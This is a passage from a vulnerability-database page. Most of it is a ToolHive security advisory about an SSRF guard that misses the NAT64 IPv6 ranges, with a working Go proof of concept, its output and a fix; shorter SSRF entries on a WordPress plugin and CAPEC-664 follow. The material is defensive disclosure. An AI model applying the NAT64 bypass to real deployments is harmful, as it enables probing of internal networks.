git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` \u2192 `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.\n\nNote that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.\n\n## Affected\n\n- Module: `github.com/stacklok/toolhive`\n- Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path \u2014 the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check.\n- Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).\n- Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.\n\n## Proof of Concept\n\nThe following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network\u0027s DNS64 record (attacker host \u2192 NAT64 IPv6) and the kernel NAT64 gateway (final dial \u2192 control listener) \u2014 the security decision is made entirely by ToolHive\u0027s own code.\n\n`go.mod`:\n\n```\nmodule poc\n\ngo 1.26\n\nrequire github.com/stacklok/toolhive v0.29.0\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/stacklok/toolhive/pkg/networking\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto/cimd\"\n)\n\nvar _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)\n\nconst (\n\tattackerHost = \"cimd-attacker.example\"\n\tnatLocalUse = \"64:ff9b:1::a9fe:a9fe\" // RFC 8215 NAT64 of 169.254.169.254\n)\n\nfunc main() {\n\t// Part A: real classifier on NAT64 vs private addresses.\n\tfor _, s := range []string{\n\t\tnatLocalUse, \"64:ff9b::a9fe:a9fe\", \"64:ff9b::7f00:1\",\n\t\t\"169.254.169.254\", \"::ffff:169.254.169.254\", \"10.0.0.1\", \"93.184.216.34\",\n\t} {\n\t\tip := net.ParseIP(s)\n\t\tfmt.Printf(\"IsPrivateIP(%-22s) = %v\\n\", s, networking.IsPrivateIP(ip))\n\t}\n\n\t// Control listener standing in for the IMDS reachable behind NAT64.\n\thit := make(chan string, 1)\n\timds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thit \u003c- r.Host + r.URL.Path\n\t\tfmt.Fprint(w, `{\"AccessKeyId\":\"ASIA_STOLEN\",\"SecretAccessKey\":\"s3cr3t\"}`)\n\t}))\n\tdefer imds.Close()\n\tctrlAddr := strings.TrimPrefix(imds.URL, \"http://\")\n\n\tclientID := \"https://\" + attackerHost + \"/.well-known/oauth-client\"\n\tfmt.Printf(\"IsClientIDMetadataDocumentURL(%q) = %v\\n\", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))\n\n\t// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,\n\t// with DNS64 (attacker host -\u003e NAT64 IPv6) and NAT64 gateway (dial -\u003e listener) modeled.\n\ttransport := \u0026http.Transport{DisableKeepAlives: true,\n\t\tDialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n\t\t\thost, _, _ := net.SplitHostPort(address)\n\t\t\tvar ips []string\n\t\t\tif host == attackerHost {\n\t\t\t\tips = []string{natLocalUse} // DNS64 synthesis\n\t\t\t} else {\n\t\t\t\tips, _ = net.DefaultResolver.LookupHost(ctx, host)\n\t\t\t}\n\t\t\tfor _, ipStr := range ips {\n\t\t\t\tip := net.ParseIP(ipStr)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) { // verbatim toolhive gate\n\t\t\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[guard] %s passed IsPrivateIP gate -\u003e dialing\\n\", ipStr)\n\t\t\t\treturn (\u0026net.Dialer{}).DialContext(ctx, \"tcp\", ctrlAddr) // NAT64 gateway\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"cimd: no valid address for %q\", host)\n\t\t}}\n\tclient := \u0026http.Client{Timeout: 5 * time.Second, Transport: transport}\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+attackerHost+\"/.well-known/oauth-client\", nil)\n\tif _, err := client.Do(req); err != nil {\n\t\tfmt.Println(\"blocked:\", err)\n\t\treturn\n\t}\n\tfmt.Printf(\"control listener received: %s =\u003e SSRF via %s\\n\", \u003c-hit, natLocalUse)\n\n\t// Negative control: a genuinely private IP is rejected by the same gate.\n\tneg := \u0026http.Client{Transport: \u0026http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\tip := net.ParseIP(\"169.254.169.254\")\n\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ip)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"would dial (NOT blocked)\")\n\t}}}\n\t_, nerr := neg.Do(req)\n\tfmt.Println(\"negative control (169.254.169.254):\", nerr)\n}\n```\n\nOutput:\n\n```\nIsPrivateIP(64:ff9b:1::a9fe:a9fe ) = false\nIsPrivateIP(64:ff9b::a9fe:a9fe ) = false\nIsPrivateIP(64:ff9b::7f00:1 ) = false\nIsPrivateIP(169.254.169.254 ) = true\nIsPrivateIP(::ffff:169.254.169.254) = true\nIsPrivateIP(10.0.0.1 ) = true\nIsPrivateIP(93.184.216.34 ) = false\nIsClientIDMetadataDocumentURL(\"https://cimd-attacker.example/.well-known/oauth-client\") = true\n[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -\u003e dialing\ncontrol listener received: cimd-attacker.example/.well-known/oauth-client =\u003e SSRF via 64:ff9b:1::a9fe:a9fe\nnegative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254\n```\n\nThe attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.\n\n## Impact\n\nServer-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block \u2014 RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`).\n\nThe practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point \u2014 the CIMD fetcher \u2014 three constraints bound the impact:\n\n- **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials.\n- **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.\n- **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker.\n\nWhat remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) \u2014 internal network reconnaissance, not credential theft.\n\nReachable via:\n- the embedded OAuth authorization server CIMD path \u2014 `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;\n- the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` \u2014 but those destinations are operator-configured, not attacker-controlled;\n- the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) \u2014 likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).\n\nExploitability is conditional on the host\u0027s network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.\n\n## Root cause\n\n`networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::\u003cv4\u003e` and `64:ff9b:1::\u003cv4\u003e`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address \u2014 but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks.\n\n## Fix\n\nAdd the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 \u00a72.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.\n\nAs bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 \"this host\") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.\n\n## Resources\n\n- RFC 6052 \u2014 IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`)\n- RFC 8215 \u2014 Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`)\n- RFC 6147 \u2014 DNS64\n- CWE-918 \u2014 Server-Side Request Forgery (SSRF)\n- ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`",
"id": "GHSA-pph6-vfjv-vpjw",
"modified": "2026-07-15T21:51:03Z",
"published": "2026-07-15T21:51:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"
},
{
"type": "PACKAGE",
"url": "https://github.com/stacklok/toolhive"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway"
}
GHSA-PPJH-J3RW-5X4R
Vulnerability from github – Published: 2025-01-25 09:30 – Updated: 2025-01-25 09:30The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.17.4 via the Webhooks integration. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. The vulnerability can also be exploited in Multisite environments.
{
"affected": [],
"aliases": [
"CVE-2024-13450"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-25T09:15:07Z",
"severity": "LOW"
},
"details": "The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form \u0026 Custom Contact Form builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.17.4 via the Webhooks integration. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. The vulnerability can also be exploited in Multisite environments.",
"id": "GHSA-ppjh-j3rw-5x4r",
"modified": "2025-01-25T09:30:54Z",
"published": "2025-01-25T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13450"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Admin/Form/AdminFormHandler.php#L1072"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Admin/Form/AdminFormHandler.php#L1312"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L190"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L51"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L96"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3227207"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d935f4c5-5d69-42d9-be22-7a44d9aa885a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.